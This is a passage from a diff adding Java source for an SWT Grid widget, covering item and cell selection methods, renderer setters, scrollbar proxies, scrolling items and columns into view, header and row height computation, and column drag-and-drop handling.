    + */ + public void removeSelectionListener(SelectionListener listener) + { + checkWidget(); + removeListener(SWT.Selection, listener); + removeListener(SWT.DefaultSelection, listener); + } + + /** + * Removes the listener from the collection of listeners who will be + * notified when the receiver's items changes. + * + * @param listener the listener which should no longer be notified + * @see TreeListener + * @see #addTreeListener(TreeListener) + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void removeTreeListener(TreeListener listener) + { + checkWidget(); + removeListener(SWT.Expand, listener); + removeListener(SWT.Collapse, listener); + } + + /** + * Selects the item at the given zero-relative index in the receiver. If the + * item at the index was already selected, it remains selected. Indices that + * are out of range are ignored. + *

    + * If cell selection is enabled, selects all cells at the given index. + * + * @param index the index of the item to select + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void select(int index) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (index < 0 || index >= items.size()) return; + + GridItem item = (GridItem)items.get(index); + + if (!cellSelectionEnabled) + { + if (selectionType == SWT.MULTI && selectedItems.contains(item)) return; + + if (selectionType == SWT.SINGLE) selectedItems.clear(); + + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + + redraw(); + } + + /** + * Selects the items in the range specified by the given zero-relative + * indices in the receiver. The range of indices is inclusive. The current + * selection is not cleared before the new items are selected. + *

    + * If an item in the given range is not selected, it is selected. If an item + * in the given range was already selected, it remains selected. Indices + * that are out of range are ignored and no items will be selected if start + * is greater than end. If the receiver is single-select and there is more + * than one item in the given range, then all indices are ignored. + *

    + * If cell selection is enabled, all cells within the given range are selected. + * + * @param start the start of the range + * @param end the end of the range + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see Grid#setSelection(int,int) + */ + public void select(int start, int end) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (selectionType == SWT.SINGLE && start != end) return; + + if (!cellSelectionEnabled) + { + if (selectionType == SWT.SINGLE) selectedItems.clear(); + } + + for (int i = start; i <= end; i++) + { + if (i < 0) + { + continue; + } + if (i > items.size() - 1) + { + break; + } + + GridItem item = (GridItem)items.get(i); + + if (!cellSelectionEnabled) + { + if (!selectedItems.contains(item)) + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + } + + redraw(); + } + + /** + * Selects the items at the given zero-relative indices in the receiver. The + * current selection is not cleared before the new items are selected. + *

    + * If the item at a given index is not selected, it is selected. If the item + * at a given index was already selected, it remains selected. Indices that + * are out of range and duplicate indices are ignored. If the receiver is + * single-select and multiple indices are specified, then all indices are + * ignored. + *

    + * If cell selection is enabled, all cells within the given indices are + * selected. + * + * @param indices the array of indices for the items to select + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the array of indices is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see Grid#setSelection(int[]) + */ + public void select(int[] indices) + { + checkWidget(); + + if (indices == null) + { + SWT.error(SWT.ERROR_NULL_ARGUMENT); + } + + if (!selectionEnabled) return; + + if (selectionType == SWT.SINGLE && indices.length > 1) return; + + if (!cellSelectionEnabled) + if (selectionType == SWT.SINGLE) selectedItems.clear(); + + for (int i = 0; i < indices.length; i++) + { + int j = indices[i]; + + if (j >= 0 && j < items.size()) + { + GridItem item = (GridItem)items.get(j); + + if (!cellSelectionEnabled) + { + if (!selectedItems.contains(item)) + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + } + } + redraw(); + } + + /** + * Selects all of the items in the receiver. + *

    + * If the receiver is single-select, do nothing. If cell selection is enabled, + * all cells are selected. + * + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void selectAll() + { + checkWidget(); + + if (!selectionEnabled) return; + + if (selectionType == SWT.SINGLE) return; + + if (cellSelectionEnabled) + { + selectAllCells(); + return; + } + + selectedItems.clear(); + selectedItems.addAll(items); + redraw(); + } + + /** + * Sets the empty cell renderer. + * + * @param emptyCellRenderer The emptyCellRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setEmptyCellRenderer(GridCellRenderer emptyCellRenderer) + { + checkWidget(); + emptyCellRenderer.setDisplay(getDisplay()); + this.emptyCellRenderer = emptyCellRenderer; + } + + /** + * Sets the empty column header renderer. + * + * @param emptyColumnHeaderRenderer The emptyColumnHeaderRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setEmptyColumnHeaderRenderer(IRenderer emptyColumnHeaderRenderer) + { + checkWidget(); + emptyColumnHeaderRenderer.setDisplay(getDisplay()); + this.emptyColumnHeaderRenderer = emptyColumnHeaderRenderer; + } + + /** + * Sets the empty column footer renderer. + * + * @param emptyColumnFooterRenderer The emptyColumnFooterRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setEmptyColumnFooterRenderer(IRenderer emptyColumnFooterRenderer) + { + checkWidget(); + emptyColumnFooterRenderer.setDisplay(getDisplay()); + this.emptyColumnFooterRenderer = emptyColumnFooterRenderer; + } + + /** + * Sets the empty row header renderer. + * + * @param emptyRowHeaderRenderer The emptyRowHeaderRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setEmptyRowHeaderRenderer(IRenderer emptyRowHeaderRenderer) + { + checkWidget(); + emptyRowHeaderRenderer.setDisplay(getDisplay()); + this.emptyRowHeaderRenderer = emptyRowHeaderRenderer; + } + + /** + * Sets the external horizontal scrollbar. Allows the scrolling to be + * managed externally from the table. This functionality is only intended + * when SWT.H_SCROLL is not given. + *

    + * Using this feature, a ScrollBar could be instantiated outside the table, + * wrapped in IScrollBar and thus be 'connected' to the table. + * + * @param scroll The horizontal scrollbar to set. + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + protected void setHorizontalScrollBarProxy(IScrollBarProxy scroll) + { + checkWidget(); + if (getHorizontalBar() != null) + { + return; + } + hScroll = scroll; + + hScroll.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + onScrollSelection(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + } + }); + } + + /** + * Sets the external vertical scrollbar. Allows the scrolling to be managed + * externally from the table. This functionality is only intended when + * SWT.V_SCROLL is not given. + *

    + * Using this feature, a ScrollBar could be instantiated outside the table, + * wrapped in IScrollBar and thus be 'connected' to the table. + * + * @param scroll + * The vertical scrollbar to set. + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been + * disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the + * thread that created the receiver
    • + *
    + */ + protected void setlVerticalScrollBarProxy(IScrollBarProxy scroll) + { + checkWidget(); + if (getVerticalBar() != null) + { + return; + } + vScroll = scroll; + + vScroll.addSelectionListener(new SelectionListener() { + public void widgetSelected(SelectionEvent e) { + onScrollSelection(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + } + }); + } + + /** + * Sets the focus renderer. + * + * @param focusRenderer The focusRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setFocusRenderer(IRenderer focusRenderer) + { + checkWidget(); + this.focusRenderer = focusRenderer; + } + + /** + * Marks the receiver's header as visible if the argument is {@code true}, + * and marks it invisible otherwise. + * + * @param show the new visibility state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setHeaderVisible(boolean show) + { + checkWidget(); + this.columnHeadersVisible = show; + redraw(); + } + + /** + * Marks the receiver's footer as visible if the argument is {@code true}, + * and marks it invisible otherwise. + * + * @param show the new visibility state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setFooterVisible(boolean show) + { + checkWidget(); + this.columnFootersVisible = show; + redraw(); + } + + /** + * Sets the line color. + * + * @param lineColor The lineColor to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setLineColor(Color lineColor) + { + checkWidget(); + this.lineColor = lineColor; + } + + /** + * Sets the line visibility. + * + * @param linesVisible Te linesVisible to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setLinesVisible(boolean linesVisible) + { + checkWidget(); + this.linesVisible = linesVisible; + redraw(); + } + + /** + * Sets the tree line visibility. + * + * @param treeLinesVisible + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setTreeLinesVisible(boolean treeLinesVisible) { + checkWidget(); + this.treeLinesVisible = treeLinesVisible; + redraw(); + } + + /** + * Sets the row header renderer. + * + * @param rowHeaderRenderer The rowHeaderRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setRowHeaderRenderer(IRenderer rowHeaderRenderer) + { + checkWidget(); + rowHeaderRenderer.setDisplay(getDisplay()); + this.rowHeaderRenderer = rowHeaderRenderer; + } + + /** + * Marks the receiver's row header as visible if the argument is + * {@code true}, and marks it invisible otherwise. When row headers are + * visible, horizontal scrolling is always done by column rather than by + * pixel. + * + * @param show the new visibility state + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setRowHeaderVisible(boolean show) + { + checkWidget(); + this.rowHeaderVisible = show; + setColumnScrolling(true); + + if (show && isAutoWidth()) + { + rowHeaderWidth = 1; + + for (Iterator iter = items.iterator(); iter.hasNext();) + { + GridItem iterItem = (GridItem)iter.next(); + rowHeaderWidth = Math.max(rowHeaderWidth,rowHeaderRenderer.computeSize(sizingGC, SWT.DEFAULT,SWT.DEFAULT,iterItem).x); + } + } + + redraw(); + } + + /** + * Selects the item at the given zero-relative index in the receiver. The + * current selection is first cleared, then the new item is selected. + *

    + * If cell selection is enabled, all cells within the item at the given index + * are selected. + * + * @param index the index of the item to select + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setSelection(int index) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (index >= 0 && index < items.size()) + { + if (!cellSelectionEnabled) + { + selectedItems.clear(); + selectedItems.add((GridItem)items.get(index)); + redraw(); + } + else + { + selectedCells.clear(); + selectCells(getCells((GridItem)items.get(index))); + } + } + } + + /** + * Selects the items in the range specified by the given zero-relative + * indices in the receiver. The range of indices is inclusive. The current + * selection is cleared before the new items are selected. + *

    + * Indices that are out of range are ignored and no items will be selected + * if start is greater than end. If the receiver is single-select and there + * is more than one item in the given range, then all indices are ignored. + *

    + * If cell selection is enabled, all cells within the given range are selected. + * + * @param start the start index of the items to select + * @param end the end index of the items to select + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see Grid#deselectAll() + * @see Grid#select(int,int) + */ + public void setSelection(int start, int end) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (selectionType == SWT.SINGLE && start != end) return; + + if (!cellSelectionEnabled) + { + selectedItems.clear(); + } + else + { + selectedCells.clear(); + } + + for (int i = start; i <= end; i++) + { + if (i < 0) + { + continue; + } + if (i > items.size() - 1) + { + break; + } + + GridItem item = (GridItem)items.get(i); + + if (!cellSelectionEnabled) + { + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + } + redraw(); + } + + /** + * Selects the items at the given zero-relative indices in the receiver. The + * current selection is cleared before the new items are selected. + *

    + * Indices that are out of range and duplicate indices are ignored. If the + * receiver is single-select and multiple indices are specified, then all + * indices are ignored. + *

    + * If cell selection is enabled, all cells within the given indices are selected. + * + * @param indices the indices of the items to select + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the array of indices is null
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see Grid#deselectAll() + * @see Grid#select(int[]) + */ + public void setSelection(int[] indices) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (selectionType == SWT.SINGLE && indices.length > 1) return; + + if (!cellSelectionEnabled) + { + selectedItems.clear(); + } + else + { + selectedCells.clear(); + } + + for (int i = 0; i < indices.length; i++) + { + int j = indices[i]; + + if (j < 0) + { + continue; + } + if (j > items.size() - 1) + { + break; + } + + GridItem item = (GridItem)items.get(j); + + if (!cellSelectionEnabled) + { + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + } + redraw(); + } + + /** + * Sets the receiver's selection to be the given array of items. The current + * selection is cleared before the new items are selected. + *

    + * Items that are not in the receiver are ignored. If the receiver is + * single-select and multiple items are specified, then all items are + * ignored. If cell selection is enabled, all cells within the given items + * are selected. + * + * @param _items the array of items + * @throws IllegalArgumentException + *

      + *
    • ERROR_NULL_ARGUMENT - if the array of items is null
    • + *
    • ERROR_INVALID_ARGUMENT - if one of the items has been disposed
    • + *
    + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + * @see Grid#deselectAll() + * @see Grid#select(int[]) + * @see Grid#setSelection(int[]) + */ + public void setSelection(GridItem[] _items) + { + checkWidget(); + + if (!selectionEnabled) return; + + if (_items == null) SWT.error(SWT.ERROR_NULL_ARGUMENT); + + if (selectionType == SWT.SINGLE && _items.length > 1) return; + + if (!cellSelectionEnabled) + { + selectedItems.clear(); + } + else + { + selectedCells.clear(); + } + + for (int i = 0; i < _items.length; i++) + { + GridItem item = _items[i]; + if (item == null) continue; + if (item.isDisposed()) SWT.error(SWT.ERROR_INVALID_ARGUMENT); + if (item.getParent() != this) continue; + + if (!cellSelectionEnabled) + { + selectedItems.add(item); + } + else + { + selectCells(getCells(item)); + } + } + + redraw(); + } + + /** + * Sets the zero-relative index of the item which is currently at the top of + * the receiver. This index can change when items are scrolled or new items + * are added and removed. + * + * @param index the index of the top item + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setTopIndex(int index) + { + checkWidget(); + if (index < 0 || index >= items.size()) + { + return; + } + + GridItem item = (GridItem)items.get(index); + if (!item.isVisible()) + { + return; + } + + if (!vScroll.getVisible()) + { + return; + } + + int vScrollAmount = 0; + + for (int i = 0; i < index; i++) + { + if (((GridItem)items.get(i)).isVisible()) + { + vScrollAmount++; + } + } + + vScroll.setSelection(vScrollAmount); + topIndex = -1; + bottomIndex = -1; + redraw(); + } + + /** + * Sets the top left renderer. + * + * @param topLeftRenderer The topLeftRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setTopLeftRenderer(IRenderer topLeftRenderer) + { + checkWidget(); + topLeftRenderer.setDisplay(getDisplay()); + this.topLeftRenderer = topLeftRenderer; + } + + /** + * Sets the bottom left renderer. + * + * @param bottomLeftRenderer The topLeftRenderer to set. + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setBottomLeftRenderer(IRenderer bottomLeftRenderer) + { + checkWidget(); + bottomLeftRenderer.setDisplay(getDisplay()); + this.bottomLeftRenderer = bottomLeftRenderer; + } + + /** + * Shows the column. If the column is already showing in the receiver, this + * method simply returns. Otherwise, the columns are scrolled until the + * column is visible. + * + * @param col the column to be shown + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void showColumn(GridColumn col) + { + checkWidget(); + + if (!col.isVisible()) + { + GridColumnGroup group = col.getColumnGroup(); + group.setExpanded(!group.getExpanded()); + if (group.getExpanded()) + { + group.notifyListeners(SWT.Expand,new Event()); + } + else + { + group.notifyListeners(SWT.Collapse,new Event()); + } + } + + if (!hScroll.getVisible()) + { + return; + } + + int x = getColumnHeaderXPosition(col); + + int firstVisibleX = 0; + if (rowHeaderVisible) + { + firstVisibleX = rowHeaderWidth; + } + + // if its visible just return + if (x >= firstVisibleX + && (x + col.getWidth()) <= (firstVisibleX + (getClientArea().width - firstVisibleX))) + { + return; + } + + if (!getColumnScrolling()) + { + if (x < firstVisibleX) + { + hScroll.setSelection(getHScrollSelectionInPixels() - (firstVisibleX - x)); + } + else + { + if (col.getWidth() > getClientArea().width - firstVisibleX) + { + hScroll.setSelection(getHScrollSelectionInPixels() + (x - firstVisibleX)); + } + else + { + x -= getClientArea().width - firstVisibleX - col.getWidth(); + hScroll.setSelection(getHScrollSelectionInPixels() + (x - firstVisibleX)); + } + } + } + else + { + if (x < firstVisibleX || col.getWidth() > getClientArea().width - firstVisibleX) + { + int sel = displayOrderedColumns.indexOf(col); + hScroll.setSelection(sel); + } + else + { + int availableWidth = getClientArea().width - firstVisibleX - col.getWidth(); + + GridColumn prevCol = getPreviousVisibleColumn(col); + GridColumn currentScrollTo = col; + + while (true) + { + if (prevCol == null || prevCol.getWidth() > availableWidth) + { + int sel = displayOrderedColumns.indexOf(currentScrollTo); + hScroll.setSelection(sel); + break; + } + else + { + availableWidth -= prevCol.getWidth(); + currentScrollTo = prevCol; + prevCol = getPreviousVisibleColumn(prevCol); + } + } + } + } + + redraw(); + } + + /** + * Returns true if 'item' is currently being completely + * shown in this Grid's visible on-screen area. + * + *

    Here, "completely" only refers to the item's height, not its + * width. This means this method returns true also if some cells + * are horizontally scrolled away. + * + * @param item + * @return true if 'item' is shown + * @throws org.eclipse.swt.SWTException + *

      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    • ERROR_INVALID_ARGUMENT - if 'item' is not contained in the receiver
    • + *
    + */ + boolean isShown(GridItem item) + { + checkWidget(); + + if(!item.isVisible()) + return false; + + int itemIndex = items.indexOf(item); + + if (itemIndex == -1) + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + + int firstVisibleIndex = getTopIndex(); + int lastVisibleIndex = getBottomIndex(); + + return (itemIndex >= firstVisibleIndex && itemIndex < lastVisibleIndex) + || + (itemIndex == lastVisibleIndex && bottomIndexShownCompletely); + } + /** + * Shows the item. If the item is already showing in the receiver, this + * method simply returns. Otherwise, the items are scrolled until the item + * is visible. + * + * @param item the item to be shown + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    • ERROR_INVALID_ARGUMENT - if 'item' is not contained in the receiver
    • + *
    + */ + public void showItem(GridItem item) + { + checkWidget(); + + updateScrollbars(); + + // if no items are visible on screen then abort + if (getVisibleGridHeight()<1) + { + return; + } + + // if its visible just return + if (isShown(item)) + { + return; + } + + if (!item.isVisible()) + { + GridItem parent = item.getParentItem(); + do + { + if (!parent.isExpanded()) + { + parent.setExpanded(true); + parent.fireEvent(SWT.Expand); + } + parent = parent.getParentItem(); + } + while (parent != null); + } + + int newTopIndex = items.indexOf(item); + + if (newTopIndex >= getBottomIndex()) + { + RowRange range = getRowRange(newTopIndex,getVisibleGridHeight(),true,true); // note: inverse==true + newTopIndex = range.startIndex; // note: use startIndex because of inverse==true + } + + setTopIndex(newTopIndex); + } + + /** + * Shows the selection. If the selection is already showing in the receiver, + * this method simply returns. Otherwise, the items are scrolled until the + * selection is visible. + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void showSelection() + { + checkWidget(); + + if (scrollValuesObsolete) + updateScrollbars(); + + GridItem item = null; + + if (!cellSelectionEnabled) + { + if (selectedItems.size() == 0) + { + return; + } + + item = (GridItem)selectedItems.get(0); + showItem(item); + } + else + { + if (selectedCells.size() == 0) return; + + Point cell = (Point)selectedCells.get(0); + item = getItem(cell.y); + showItem(item); + GridColumn col = getColumn(cell.x); + showColumn(col); + } + + } + + /** + * Enables selection highlighting if the argument is true. + * + * @param selectionEnabled the selection enabled state + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public void setSelectionEnabled(boolean selectionEnabled) + { + checkWidget(); + + if (!selectionEnabled) + { + selectedItems.clear(); + redraw(); + } + + this.selectionEnabled = selectionEnabled; + } + + /** + * Returns true if selection is enabled, false otherwise. + * + * @return the selection enabled state + * + * @throws org.eclipse.swt.SWTException + *
      + *
    • ERROR_WIDGET_DISPOSED - if the receiver has been disposed
    • + *
    • ERROR_THREAD_INVALID_ACCESS - if not called from the thread that + * created the receiver
    • + *
    + */ + public boolean getSelectionEnabled() + { + checkWidget(); + return selectionEnabled; + } + + + /** + * Computes and sets the height of the header row. This method will ask for + * the preferred size of all the column headers and use the max. + * + * @param gc GC for font metrics, etc. + */ + private void computeHeaderHeight(GC gc) + { + + int colHeaderHeight = 0; + for (Iterator columnsIterator = columns.iterator(); columnsIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnsIterator.next(); + colHeaderHeight = Math + .max(column.getHeaderRenderer().computeSize(gc, column.getWidth(), SWT.DEFAULT, + column).y, colHeaderHeight); + } + + int groupHeight = 0; + for (int groupIndex = 0; groupIndex < columnGroups.length; groupIndex++) + { + GridColumnGroup group = (GridColumnGroup) columnGroups[groupIndex]; + groupHeight = Math.max(group.getHeaderRenderer().computeSize(gc, SWT.DEFAULT, + SWT.DEFAULT, group).y, + groupHeight); + } + + headerHeight = colHeaderHeight + groupHeight; + groupHeaderHeight = groupHeight; + } + + private void computeFooterHeight(GC gc) + { + + int colFooterHeight = 0; + for (Iterator columnsIterator = columns.iterator(); columnsIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnsIterator.next(); + colFooterHeight = Math + .max(column.getFooterRenderer().computeSize(gc, column.getWidth(), SWT.DEFAULT, + column).y, colFooterHeight); + } + + footerHeight = colFooterHeight; + } + + /** + * Returns the computed default item height. Currently this method just gets the + * preferred size of all the cells in the given row and returns that (it is + * then used as the height of all rows with items having a height of -1). + * + * @param item item to use for sizing + * @param gc GC used to perform font metrics,etc. + * @return the row height + */ + private int computeItemHeight(GridItem item, GC gc) + { + int height = 1; + + if (columns.size() == 0 || items.size() == 0) + { + return height; + } + + for (Iterator columnsIterator = columns.iterator(); columnsIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnsIterator.next(); + column.getCellRenderer().setColumn(indexOf(column)); + height = Math.max(height, column.getCellRenderer().computeSize(gc, SWT.DEFAULT, + SWT.DEFAULT, + item).y); + } + + if( rowHeaderVisible && rowHeaderRenderer != null ) { + height = Math.max(height, rowHeaderRenderer.computeSize(gc, SWT.DEFAULT, + SWT.DEFAULT, item).y); + } + + return height <= 0 ? 16 : height; + } + + /** + * Returns the x position of the given column. Takes into account scroll + * position. + * + * @param column given column + * @return x position + */ + private int getColumnHeaderXPosition(GridColumn column) + { + if (!column.isVisible()) + { + return -1; + } + + int x = 0; + + x -= getHScrollSelectionInPixels(); + + if (rowHeaderVisible) + { + x += rowHeaderWidth; + } + for (Iterator column2Iterator = displayOrderedColumns.iterator(); column2Iterator.hasNext(); ) + { + GridColumn column2 = (GridColumn) column2Iterator.next(); + + if (!column2.isVisible()) + { + continue; + } + + if (column2 == column) + { + break; + } + + x += column2.getWidth(); + } + + return x; + } + + /** + * Returns the hscroll selection in pixels. This method abstracts away the + * differences between column by column scrolling and pixel based scrolling. + * + * @return the horizontal scroll selection in pixels + */ + private int getHScrollSelectionInPixels() + { + int selection = hScroll.getSelection(); + if (columnScrolling) + { + int pixels = 0; + for (int i = 0; i < selection; i++) + { + pixels += ((GridColumn)displayOrderedColumns.get(i)).getWidth(); + } + selection = pixels; + } + return selection; + } + + /** + * Returns the size of the preferred size of the inner table. + * + * @return the preferred size of the table. + */ + private Point getTableSize() + { + int x = 0; + int y = 0; + + if (columnHeadersVisible) + { + y += headerHeight; + } + + if(columnFootersVisible) { + y += footerHeight; + } + + y += getGridHeight(); + + if (rowHeaderVisible) + { + x += rowHeaderWidth; + } + + for (Iterator columnIterator = columns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + if (column.isVisible()) + { + x += column.getWidth(); + } + } + + return new Point(x, y); + } + + /** + * Manages the header column dragging and calculates the drop point, + * triggers a redraw. + * + * @param x mouse x + * @return true if this event has been consumed. + */ + private boolean handleColumnDragging(int x) + { + + GridColumn local_dragDropBeforeColumn = null; + GridColumn local_dragDropAfterColumn = null; + + int x2 = 1; + + if (rowHeaderVisible) + { + x2 += rowHeaderWidth + 1; + } + + x2 -= getHScrollSelectionInPixels(); + + int i = 0; + GridColumn previousVisibleCol = null; + boolean nextVisibleColumnIsBeforeCol = false; + GridColumn firstVisibleCol = null; + GridColumn lastVisibleCol = null; + + if (x < x2) + { + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + if (!column.isVisible()) + { + continue; + } + local_dragDropBeforeColumn = column; + break; + } + local_dragDropAfterColumn = null; + } + else + { + for (Iterator columnIterator = displayOrderedColumns.iterator(); columnIterator.hasNext(); ) + { + GridColumn column = (GridColumn) columnIterator.next(); + if (!column.isVisible()) + { + continue; + } + + i++; + + if (firstVisibleCol == null) + { + firstVisibleCol = column; + } + lastVisibleCol = column; + + if (nextVisibleColumnIsBeforeCol) + { + local_dragDropBeforeColumn = column; + nextVisibleColumnIsBeforeCol = false; + } + + if (x >= x2 && x <= (x2 + column.getWidth())) + { + if (x <= (x2 + column.getWidth() / 2)) + { + local_dragDropBeforeColumn = column; + local_dragDropAfterColumn = previousVisibleCol; + } + else + { + local_dragDropAfterColumn = column; + + // the next visible column is the before col + nextVisibleColumnIsBeforeCol = true; + } + } + + x2 += column.getWidth(); + previousVisibleCol = column; + } + + if (local_dragDropBeforeColumn == null) + { + local_dragDropAfterColumn = lastVisibleCol; + } + } + + currentHeaderDragX = x; + + if (local_dragDropBeforeColumn != dragDropBeforeColumn + || (dragDropBeforeColumn == null && dragDropAfterColumn == null)) + { + dragDropPointValid = true; + + // Determine if valid drop point + if (columnGroups.length != 0) + { + + if (columnBeingPushed.getColumnGroup() == null) + { + if (local_dragDropBeforeColumn != null + && local_dragDropAfterColumn != null + && local_dragDropBeforeColumn.getColumnGroup() != null + && local_dragDropBeforeColumn.getColumnGroup() == local_dragDropAfterColumn + 